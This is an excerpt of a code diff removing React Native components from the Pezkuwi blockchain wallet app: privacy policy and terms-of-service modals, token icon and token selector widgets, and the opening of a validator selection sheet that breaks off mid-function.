const PrivacyPolicyModal: React.FC<PrivacyPolicyModalProps> = ({ visible, onClose }) => {
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
presentationStyle="pageSheet"
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<SafeAreaView style={styles.container}>
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.headerTitle}>Privacy Policy</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<ScrollView style={styles.content} showsVerticalScrollIndicator={false}>
|
||||
<Text style={styles.sectionTitle}>Data Minimization Principle</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
Pezkuwi collects the MINIMUM data necessary to provide blockchain wallet functionality.
|
||||
We operate on a "your keys, your coins, your responsibility" model.
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>What Data We Collect</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Stored LOCALLY on Your Device (NOT sent to Pezkuwi servers):</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Private Keys / Seed Phrase:</Text> Encrypted and stored in device secure storage</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Account Balance:</Text> Cached from blockchain queries</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Transaction History:</Text> Cached from blockchain queries</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Settings:</Text> Language preference, theme, biometric settings</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Stored on Supabase (Third-party service):</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Profile Information:</Text> Username, email (if provided), avatar image</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Citizenship Applications:</Text> Application data if you apply for citizenship</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Forum Posts:</Text> Public posts and comments</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Stored on Blockchain (Public, immutable):</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Transactions:</Text> All transactions are publicly visible on PezkuwiChain</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Account Address:</Text> Your public address is visible to all</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Never Collected:</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Browsing History:</Text> We don't track which screens you visit</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Device Identifiers:</Text> No IMEI, MAC address, or advertising ID collection</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Location Data:</Text> No GPS or location tracking</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Contact Lists:</Text> We don't access your contacts</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Third-party Analytics:</Text> No Google Analytics, Facebook Pixel, or similar trackers</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>Why We Need Permissions</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Internet (REQUIRED)</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
• Connect to PezkuwiChain blockchain RPC endpoint{'\n'}
|
||||
• Query balances and transaction history{'\n'}
|
||||
• Submit transactions
|
||||
</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Storage (REQUIRED)</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
• Save encrypted seed phrase locally{'\n'}
|
||||
• Cache account data for offline viewing{'\n'}
|
||||
• Store profile avatar
|
||||
</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Camera (OPTIONAL)</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
• Take profile photos{'\n'}
|
||||
• Scan QR codes for payments{'\n'}
|
||||
• Capture NFT images
|
||||
</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Biometric (OPTIONAL)</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
• Secure authentication for transactions{'\n'}
|
||||
• Protect seed phrase viewing{'\n'}
|
||||
• Alternative to password entry
|
||||
</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>Notifications (OPTIONAL)</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
• Alert you to incoming transfers{'\n'}
|
||||
• Notify staking reward claims{'\n'}
|
||||
• Governance proposal notifications
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>Zero-Knowledge Proofs & Encryption</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
Citizenship applications are encrypted using ZK-proofs (Zero-Knowledge Proofs).
|
||||
This means:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Your personal data is encrypted before storage</Text>
|
||||
<Text style={styles.bulletItem}>• Only a cryptographic hash is stored on the blockchain</Text>
|
||||
<Text style={styles.bulletItem}>• Your data is uploaded to IPFS (decentralized storage) in encrypted form</Text>
|
||||
<Text style={styles.bulletItem}>• Even if someone accesses the data, they cannot decrypt it without your private key</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>Your Data Rights</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Export Data:</Text> You can export your seed phrase and account data anytime</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Delete Data:</Text> Delete your local data by uninstalling the app</Text>
|
||||
<Text style={styles.bulletItem}>• <Text style={styles.bold}>Supabase Data:</Text> Contact support@pezkuwichain.io to delete profile data</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>Contact</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
For privacy concerns: privacy@pezkuwichain.io{'\n'}
|
||||
General support: info@pezkuwichain.io
|
||||
</Text>
|
||||
|
||||
<Text style={styles.footer}>
|
||||
Last updated: {new Date().toLocaleDateString()}{'\n'}
|
||||
© {new Date().getFullYear()} PezkuwiChain
|
||||
</Text>
|
||||
</ScrollView>
|
||||
</SafeAreaView>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
flex: 1,
|
||||
backgroundColor: '#FFFFFF',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
padding: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E5E5E5',
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
closeButton: {
|
||||
padding: 8,
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 24,
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
content: {
|
||||
flex: 1,
|
||||
padding: 20,
|
||||
},
|
||||
sectionTitle: {
|
||||
fontSize: 18,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.kesk,
|
||||
marginTop: 24,
|
||||
marginBottom: 12,
|
||||
},
|
||||
subsectionTitle: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.reş,
|
||||
marginTop: 16,
|
||||
marginBottom: 8,
|
||||
},
|
||||
paragraph: {
|
||||
fontSize: 14,
|
||||
lineHeight: 22,
|
||||
color: '#333',
|
||||
marginBottom: 12,
|
||||
},
|
||||
bulletList: {
|
||||
marginBottom: 12,
|
||||
},
|
||||
bulletItem: {
|
||||
fontSize: 14,
|
||||
lineHeight: 22,
|
||||
color: '#333',
|
||||
marginBottom: 6,
|
||||
},
|
||||
bold: {
|
||||
fontWeight: '600',
|
||||
},
|
||||
footer: {
|
||||
fontSize: 12,
|
||||
color: '#999',
|
||||
textAlign: 'center',
|
||||
marginTop: 32,
|
||||
marginBottom: 32,
|
||||
},
|
||||
});
|
||||
|
||||
export default PrivacyPolicyModal;
|
||||
@@ -1,249 +0,0 @@
|
||||
import React from 'react';
|
||||
import {
|
||||
Modal,
|
||||
View,
|
||||
Text,
|
||||
ScrollView,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
SafeAreaView,
|
||||
} from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface TermsOfServiceModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
const TermsOfServiceModal: React.FC<TermsOfServiceModalProps> = ({ visible, onClose }) => {
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="slide"
|
||||
presentationStyle="pageSheet"
|
||||
onRequestClose={onClose}
|
||||
>
|
||||
<SafeAreaView style={styles.container}>
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.headerTitle}>Terms of Service</Text>
|
||||
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<ScrollView style={styles.content} showsVerticalScrollIndicator={false}>
|
||||
<Text style={styles.sectionTitle}>1. Acceptance of Terms</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
By accessing or using the Pezkuwi mobile application ("App"), you agree to be bound by these
|
||||
Terms of Service ("Terms"). If you do not agree to these Terms, do not use the App.
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>2. Description of Service</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
Pezkuwi is a non-custodial blockchain wallet and governance platform that allows users to:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Manage blockchain accounts and private keys</Text>
|
||||
<Text style={styles.bulletItem}>• Send and receive cryptocurrency tokens</Text>
|
||||
<Text style={styles.bulletItem}>• Participate in decentralized governance</Text>
|
||||
<Text style={styles.bulletItem}>• Apply for digital citizenship</Text>
|
||||
<Text style={styles.bulletItem}>• Access educational content and earn rewards</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>3. User Responsibilities</Text>
|
||||
|
||||
<Text style={styles.subsectionTitle}>3.1 Account Security</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
You are solely responsible for:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Maintaining the confidentiality of your seed phrase and private keys</Text>
|
||||
<Text style={styles.bulletItem}>• All activities that occur under your account</Text>
|
||||
<Text style={styles.bulletItem}>• Securing your device with appropriate passcodes and biometric authentication</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.subsectionTitle}>3.2 Prohibited Activities</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
You agree NOT to:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Use the App for any illegal or unauthorized purpose</Text>
|
||||
<Text style={styles.bulletItem}>• Attempt to gain unauthorized access to other users' accounts</Text>
|
||||
<Text style={styles.bulletItem}>• Interfere with or disrupt the App or servers</Text>
|
||||
<Text style={styles.bulletItem}>• Upload malicious code or viruses</Text>
|
||||
<Text style={styles.bulletItem}>• Engage in fraudulent transactions or money laundering</Text>
|
||||
<Text style={styles.bulletItem}>• Create fake identities or impersonate others</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>4. Non-Custodial Nature</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
Pezkuwi is a non-custodial wallet. This means:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• We DO NOT have access to your private keys or funds</Text>
|
||||
<Text style={styles.bulletItem}>• We CANNOT recover your funds if you lose your seed phrase</Text>
|
||||
<Text style={styles.bulletItem}>• We CANNOT reverse transactions or freeze accounts</Text>
|
||||
<Text style={styles.bulletItem}>• You have full control and full responsibility for your assets</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>5. Blockchain Transactions</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
When you submit a transaction:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Transactions are irreversible once confirmed on the blockchain</Text>
|
||||
<Text style={styles.bulletItem}>• Transaction fees (gas) are determined by network demand</Text>
|
||||
<Text style={styles.bulletItem}>• We are not responsible for transaction failures due to insufficient fees</Text>
|
||||
<Text style={styles.bulletItem}>• You acknowledge the risks of blockchain technology</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>6. Digital Citizenship</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
Citizenship applications:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Require KYC (Know Your Customer) verification</Text>
|
||||
<Text style={styles.bulletItem}>• Are subject to approval by governance mechanisms</Text>
|
||||
<Text style={styles.bulletItem}>• Involve storing encrypted personal data on IPFS</Text>
|
||||
<Text style={styles.bulletItem}>• Can be revoked if fraudulent information is detected</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>7. Disclaimer of Warranties</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
THE APP IS PROVIDED "AS IS" WITHOUT WARRANTIES OF ANY KIND. WE DO NOT GUARANTEE:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Uninterrupted or error-free service</Text>
|
||||
<Text style={styles.bulletItem}>• Accuracy of displayed data or prices</Text>
|
||||
<Text style={styles.bulletItem}>• Security from unauthorized access or hacking</Text>
|
||||
<Text style={styles.bulletItem}>• Protection from loss of funds due to user error</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>8. Limitation of Liability</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
TO THE MAXIMUM EXTENT PERMITTED BY LAW, PEZKUWI SHALL NOT BE LIABLE FOR:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Loss of funds due to forgotten seed phrases</Text>
|
||||
<Text style={styles.bulletItem}>• Unauthorized transactions from compromised devices</Text>
|
||||
<Text style={styles.bulletItem}>• Network congestion or blockchain failures</Text>
|
||||
<Text style={styles.bulletItem}>• Price volatility of cryptocurrencies</Text>
|
||||
<Text style={styles.bulletItem}>• Third-party services (IPFS, Supabase, RPC providers)</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>9. Intellectual Property</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
The Pezkuwi App, including its design, code, and content, is protected by copyright and trademark laws.
|
||||
You may not:
|
||||
</Text>
|
||||
<View style={styles.bulletList}>
|
||||
<Text style={styles.bulletItem}>• Copy, modify, or distribute the App without permission</Text>
|
||||
<Text style={styles.bulletItem}>• Reverse engineer or decompile the App</Text>
|
||||
<Text style={styles.bulletItem}>• Use the Pezkuwi name or logo without authorization</Text>
|
||||
</View>
|
||||
|
||||
<Text style={styles.sectionTitle}>10. Governing Law</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
These Terms shall be governed by the laws of decentralized autonomous organizations (DAOs)
|
||||
and international arbitration. Disputes will be resolved through community governance mechanisms
|
||||
when applicable.
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>11. Changes to Terms</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
We reserve the right to modify these Terms at any time. Changes will be effective upon posting
|
||||
in the App. Your continued use of the App constitutes acceptance of modified Terms.
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>12. Termination</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
We may terminate or suspend your access to the App at any time for violations of these Terms.
|
||||
You may stop using the App at any time by deleting it from your device.
|
||||
</Text>
|
||||
|
||||
<Text style={styles.sectionTitle}>13. Contact</Text>
|
||||
<Text style={styles.paragraph}>
|
||||
For questions about these Terms:{'\n'}
|
||||
Email: legal@pezkuwichain.io{'\n'}
|
||||
Support: info@pezkuwichain.io{'\n'}
|
||||
Website: https://pezkuwichain.io
|
||||
</Text>
|
||||
|
||||
<Text style={styles.footer}>
|
||||
Last updated: {new Date().toLocaleDateString()}{'\n'}
|
||||
© {new Date().getFullYear()} PezkuwiChain
|
||||
</Text>
|
||||
</ScrollView>
|
||||
</SafeAreaView>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
flex: 1,
|
||||
backgroundColor: '#FFFFFF',
|
||||
},
|
||||
header: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
padding: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E5E5E5',
|
||||
},
|
||||
headerTitle: {
|
||||
fontSize: 20,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
closeButton: {
|
||||
padding: 8,
|
||||
},
|
||||
closeButtonText: {
|
||||
fontSize: 24,
|
||||
color: KurdistanColors.reş,
|
||||
},
|
||||
content: {
|
||||
flex: 1,
|
||||
padding: 20,
|
||||
},
|
||||
sectionTitle: {
|
||||
fontSize: 18,
|
||||
fontWeight: 'bold',
|
||||
color: KurdistanColors.kesk,
|
||||
marginTop: 24,
|
||||
marginBottom: 12,
|
||||
},
|
||||
subsectionTitle: {
|
||||
fontSize: 16,
|
||||
fontWeight: '600',
|
||||
color: KurdistanColors.reş,
|
||||
marginTop: 16,
|
||||
marginBottom: 8,
|
||||
},
|
||||
paragraph: {
|
||||
fontSize: 14,
|
||||
lineHeight: 22,
|
||||
color: '#333',
|
||||
marginBottom: 12,
|
||||
},
|
||||
bulletList: {
|
||||
marginBottom: 12,
|
||||
},
|
||||
bulletItem: {
|
||||
fontSize: 14,
|
||||
lineHeight: 22,
|
||||
color: '#333',
|
||||
marginBottom: 6,
|
||||
},
|
||||
footer: {
|
||||
fontSize: 12,
|
||||
color: '#999',
|
||||
textAlign: 'center',
|
||||
marginTop: 32,
|
||||
marginBottom: 32,
|
||||
},
|
||||
});
|
||||
|
||||
export default TermsOfServiceModal;
|
||||
@@ -1,51 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, Text, StyleSheet, ViewStyle } from 'react-native';
|
||||
|
||||
interface TokenIconProps {
|
||||
symbol: string;
|
||||
size?: number;
|
||||
testID?: string;
|
||||
style?: ViewStyle;
|
||||
}
|
||||
|
||||
// Token color mapping
|
||||
const TOKEN_COLORS: { [key: string]: string } = {
|
||||
HEZ: '#FFD700',
|
||||
PEZ: '#9B59B6',
|
||||
wHEZ: '#FFD700',
|
||||
USDT: '#26A17B',
|
||||
wUSDT: '#26A17B',
|
||||
BTC: '#F7931A',
|
||||
ETH: '#627EEA',
|
||||
DOT: '#E6007A',
|
||||
};
|
||||
|
||||
export const TokenIcon: React.FC<TokenIconProps> = ({ symbol, size = 32, testID, style }) => {
|
||||
// Get first letter of symbol
|
||||
// For wrapped tokens (starting with 'w'), use the second letter
|
||||
let letter = symbol.charAt(0).toUpperCase();
|
||||
if (symbol.startsWith('w') && symbol.length > 1) {
|
||||
letter = symbol.charAt(1).toUpperCase();
|
||||
}
|
||||
|
||||
const color = TOKEN_COLORS[symbol] || '#999999';
|
||||
|
||||
return (
|
||||
<View testID={testID} style={[styles.container, { width: size, height: size, backgroundColor: color }, style]}>
|
||||
<Text style={[styles.icon, { fontSize: size * 0.5 }]}>{letter}</Text>
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
borderRadius: 100,
|
||||
},
|
||||
icon: {
|
||||
textAlign: 'center',
|
||||
color: '#FFFFFF',
|
||||
fontWeight: 'bold',
|
||||
},
|
||||
});
|
||||
@@ -1,236 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
TouchableOpacity,
|
||||
Modal,
|
||||
StyleSheet,
|
||||
FlatList,
|
||||
SafeAreaView,
|
||||
} from 'react-native';
|
||||
import { TokenIcon } from './TokenIcon';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
|
||||
export interface Token {
|
||||
symbol: string;
|
||||
name: string;
|
||||
assetId?: number; // undefined for native HEZ
|
||||
decimals: number;
|
||||
balance?: string;
|
||||
}
|
||||
|
||||
interface TokenSelectorProps {
|
||||
selectedToken: Token | null;
|
||||
tokens: Token[];
|
||||
onSelectToken: (token: Token) => void;
|
||||
label?: string;
|
||||
disabled?: boolean;
|
||||
}
|
||||
|
||||
export const TokenSelector: React.FC<TokenSelectorProps> = ({
|
||||
selectedToken,
|
||||
tokens,
|
||||
onSelectToken,
|
||||
label,
|
||||
disabled = false,
|
||||
}) => {
|
||||
const [modalVisible, setModalVisible] = useState(false);
|
||||
|
||||
const handleSelect = (token: Token) => {
|
||||
onSelectToken(token);
|
||||
setModalVisible(false);
|
||||
};
|
||||
|
||||
return (
|
||||
<View style={styles.container}>
|
||||
{label && <Text style={styles.label}>{label}</Text>}
|
||||
|
||||
<TouchableOpacity
|
||||
style={[styles.selector, disabled && styles.disabled]}
|
||||
onPress={() => !disabled && setModalVisible(true)}
|
||||
disabled={disabled}
|
||||
activeOpacity={0.7}
|
||||
>
|
||||
{selectedToken ? (
|
||||
<View style={styles.selectedToken}>
|
||||
<TokenIcon symbol={selectedToken.symbol} size={32} />
|
||||
<View style={styles.tokenInfo}>
|
||||
<Text style={styles.tokenSymbol}>{selectedToken.symbol}</Text>
|
||||
<Text style={styles.tokenName}>{selectedToken.name}</Text>
|
||||
</View>
|
||||
<Text style={styles.chevron}>▼</Text>
|
||||
</View>
|
||||
) : (
|
||||
<View style={styles.placeholder}>
|
||||
<Text style={styles.placeholderText}>Select Token</Text>
|
||||
<Text style={styles.chevron}>▼</Text>
|
||||
</View>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
|
||||
<Modal
|
||||
visible={modalVisible}
|
||||
animationType="slide"
|
||||
transparent={true}
|
||||
onRequestClose={() => setModalVisible(false)}
|
||||
>
|
||||
<SafeAreaView style={styles.modalContainer}>
|
||||
<View style={styles.modalContent}>
|
||||
<View style={styles.modalHeader}>
|
||||
<Text style={styles.modalTitle}>Select Token</Text>
|
||||
<TouchableOpacity onPress={() => setModalVisible(false)}>
|
||||
<Text style={styles.closeButton}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
<FlatList
|
||||
data={tokens}
|
||||
keyExtractor={(item) => item.symbol}
|
||||
renderItem={({ item }) => (
|
||||
<TouchableOpacity
|
||||
style={[
|
||||
styles.tokenItem,
|
||||
selectedToken?.symbol === item.symbol && styles.selectedItem,
|
||||
]}
|
||||
onPress={() => handleSelect(item)}
|
||||
>
|
||||
<TokenIcon symbol={item.symbol} size={40} />
|
||||
<View style={styles.tokenDetails}>
|
||||
<Text style={styles.itemSymbol}>{item.symbol}</Text>
|
||||
<Text style={styles.itemName}>{item.name}</Text>
|
||||
</View>
|
||||
{item.balance && (
|
||||
<Text style={styles.itemBalance}>{item.balance}</Text>
|
||||
)}
|
||||
{selectedToken?.symbol === item.symbol && (
|
||||
<Text style={styles.checkmark}>✓</Text>
|
||||
)}
|
||||
</TouchableOpacity>
|
||||
)}
|
||||
ItemSeparatorComponent={() => <View style={styles.separator} />}
|
||||
/>
|
||||
</View>
|
||||
</SafeAreaView>
|
||||
</Modal>
|
||||
</View>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
container: {
|
||||
marginBottom: 12,
|
||||
},
|
||||
label: {
|
||||
fontSize: 14,
|
||||
fontWeight: '600',
|
||||
color: '#666',
|
||||
marginBottom: 8,
|
||||
},
|
||||
selector: {
|
||||
backgroundColor: '#FFFFFF',
|
||||
borderRadius: 12,
|
||||
borderWidth: 1,
|
||||
borderColor: '#E0E0E0',
|
||||
padding: 12,
|
||||
},
|
||||
disabled: {
|
||||
opacity: 0.5,
|
||||
},
|
||||
selectedToken: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
},
|
||||
tokenInfo: {
|
||||
flex: 1,
|
||||
marginLeft: 12,
|
||||
},
|
||||
tokenSymbol: {
|
||||
fontSize: 16,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
},
|
||||
tokenName: {
|
||||
fontSize: 12,
|
||||
color: '#666',
|
||||
marginTop: 2,
|
||||
},
|
||||
chevron: {
|
||||
fontSize: 12,
|
||||
color: '#999',
|
||||
},
|
||||
placeholder: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'space-between',
|
||||
},
|
||||
placeholderText: {
|
||||
fontSize: 16,
|
||||
color: '#999',
|
||||
},
|
||||
modalContainer: {
|
||||
flex: 1,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
modalContent: {
|
||||
backgroundColor: '#FFFFFF',
|
||||
borderTopLeftRadius: 20,
|
||||
borderTopRightRadius: 20,
|
||||
maxHeight: '80%',
|
||||
paddingBottom: 20,
|
||||
},
|
||||
modalHeader: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
padding: 20,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: '#E0E0E0',
|
||||
},
|
||||
modalTitle: {
|
||||
fontSize: 18,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
},
|
||||
closeButton: {
|
||||
fontSize: 24,
|
||||
color: '#999',
|
||||
paddingHorizontal: 8,
|
||||
},
|
||||
tokenItem: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
padding: 16,
|
||||
},
|
||||
selectedItem: {
|
||||
backgroundColor: '#F0F9F4',
|
||||
},
|
||||
tokenDetails: {
|
||||
flex: 1,
|
||||
marginLeft: 12,
|
||||
},
|
||||
itemSymbol: {
|
||||
fontSize: 16,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
},
|
||||
itemName: {
|
||||
fontSize: 12,
|
||||
color: '#666',
|
||||
marginTop: 2,
|
||||
},
|
||||
itemBalance: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
marginRight: 8,
|
||||
},
|
||||
checkmark: {
|
||||
fontSize: 20,
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
separator: {
|
||||
height: 1,
|
||||
backgroundColor: '#F0F0F0',
|
||||
marginHorizontal: 16,
|
||||
},
|
||||
});
|
||||
@@ -1,198 +0,0 @@
|
||||
import React, { useState, useEffect } from 'react';
|
||||
import { View, Text, FlatList, ActivityIndicator, Alert, StyleSheet, TouchableOpacity } from 'react-native';
|
||||
import { BottomSheet, Button } from './index'; // Assuming these are exported from index.ts or index.tsx in the same folder
|
||||
import { usePezkuwi } from '../contexts/PezkuwiContext';
|
||||
import { KurdistanColors, AppColors } from '../theme/colors';
|
||||
|
||||
interface Validator {
|
||||
address: string;
|
||||
commission: number;
|
||||
totalStake: string; // Formatted balance
|
||||
selfStake: string; // Formatted balance
|
||||
nominators: number;
|
||||
// Add other relevant validator info
|
||||
}
|
||||
|
||||
interface ValidatorSelectionSheetProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
onConfirmNominations: (validators: string[]) => void;
|
||||
// Add other props like currentNominations if needed
|
||||
}
|
||||
|
||||
export function ValidatorSelectionSheet({
|
||||
visible,
|
||||
onClose,
|
||||
onConfirmNominations,
|
||||
}: ValidatorSelectionSheetProps) {
|
||||
const { api, isApiReady } = usePezkuwi();
|
||||
const [validators, setValidators] = useState<Validator[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [processing, _setProcessing] = useState(false);
|
||||
const [selectedValidators, setSelectedValidators] = useState<string[]>([]);
|
||||
|
||||
// Fetch real validators from chain
|
||||
useEffect(() => {
|
||||
const fetchValidators = async () => {
|
||||
if (!api || !isApiReady) return;
|
||||
|
||||
setLoading(true);
|
||||
try {
|
||||
const chainValidators: Validator[] = [];
|
||||
// Attempt to fetch from pallet-validator-pool first
|
||||
if (api.query.validatorPool && api.query.validatorPool.validators) {
|
||||
const rawValidators = await api.query.validatorPool.validators();
|
||||
const validatorList = rawValidators.toHuman() as string[];
|
||||
for (const rawValidator of validatorList) {
|
||||
chainValidators.push({
|
||||
address: String(rawValidator),
|
||||
commission: 0.05,
|
||||
totalStake: '0 HEZ',
|
||||
selfStake: '0 HEZ',
|
||||
nominators: 0,
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// Fallback to session validators
|
||||
const sessionValidators = await api.query.session.validators();
|
||||
const validatorAddresses = sessionValidators.toJSON() as string[];
|
||||
|
||||
for (const address of validatorAddresses) {
|
||||
const validatorPrefs = await api.query.staking.validators(address);
|
||||
const prefsJson = validatorPrefs.toJSON() as { commission?: number } | null;
|
||||
const commission = prefsJson?.commission
|
||||
? Number(prefsJson.commission) / 1_000_000_000
|
||||
: 0.05;
|
||||
|
||||
chainValidators.push({
|
||||
address: address,
|
||||
commission: commission,
|
||||
totalStake: 'Fetching...',
|
||||
selfStake: 'Fetching...',
|
||||
nominators: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
setValidators(chainValidators);
|
||||
} catch (error) {
|
||||
if (__DEV__) console.error('Error fetching validators:', error);
|
||||
Alert.alert('Error', 'Failed to fetch validators.');
|
||||
